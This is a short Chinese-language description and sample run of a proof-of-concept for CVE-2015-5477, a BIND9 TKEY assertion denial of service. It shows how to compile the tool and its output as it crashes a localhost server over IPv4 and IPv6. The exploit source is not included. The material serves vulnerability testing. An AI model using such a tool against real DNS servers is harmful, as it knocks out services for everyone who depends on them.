此漏洞利用程序通过发送该漏洞利用代码来测试 BIND9 服务器是否存在漏洞,以观察其是否崩溃。
它是 C 代码,你可以像往常一样在 Unix/Window 上编译,例如:
# gcc tkill.c -o tkill
它能在 IPv4 和 IPv6 上运行。
以下是对 localhost 运行时的效果。由于解析该名称会得到两个 IP 地址,因此它会尝试这两个地址。它首先查询“version”字符串,然后发送漏洞利用代码。当探测第二个地址时,version 查询会失败,因为服务在第一次尝试时已经崩溃。
root@kali:~/cve-2015-5477# ./a.out localhost
--- PoC for CVE-2015-5477 BIND9 TKEY assert DoS ---
[+] localhost: Resolving to IP address
[+] localhost: Resolved to multiple IPs (NOTE)
[+] ::1: Probing...
[+] Querying version...
[+] ::1: "9.11.0pre-alpha"
[+] Sending DoS packet...
[+] Waiting 5-sec for response...
[+] timed out, probably crashed
[+] 127.0.0.1: Probing...
[+] Querying version...
[-] timed out getting version, trying again
[-] timed out getting version, trying again
[-] timed out getting version, trying again
[-] Can't query server, is it crashed already?
[-] Sending exploit anyway.
[+] Sending DoS packet...
[+] Waiting 5-sec for response...
[+] timed out, probably crashed